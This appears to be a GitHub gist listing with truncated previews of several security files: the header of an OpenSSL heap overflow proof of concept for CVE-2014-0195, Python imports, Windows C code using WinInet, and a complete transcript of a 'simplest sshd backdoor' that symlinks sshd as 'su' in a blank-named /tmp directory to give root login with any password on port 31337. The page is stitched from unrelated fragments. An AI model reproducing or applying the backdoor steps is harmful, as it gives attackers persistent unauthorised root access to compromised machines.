This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# OpenSSL heap overflow PoC | |
# Found by ZDI - ZDI-14-173 // CVE-2014-0195 | |
# PoC by @_hugsy_ | |
# | |
# Ref: https://tools.ietf.org/html/rfc6347 | |
# | |
import socket, struct |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf8 -*- | |
import sys | |
import os | |
import time | |
import select | |
import socket | |
import pycares |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
simplest sshd backdoor ever. | |
# id | |
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) | |
# uname -a | |
FreeBSD BSDPWNED 9.0-RELEASE ... | |
BSDPWNED# mkdir /tmp/" " | |
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su | |
BSDPWNED# /tmp/" "/su -oPort=31337 | |
BSDPWNED# ssh -lroot -p31337 0 | |
root@0's password: <any password> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <WinInet.h> | |
#include <ntsecapi.h> | |
void writeToLog(const char* szString) | |
{ | |
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); | |
if (NULL == pFile) | |
{ |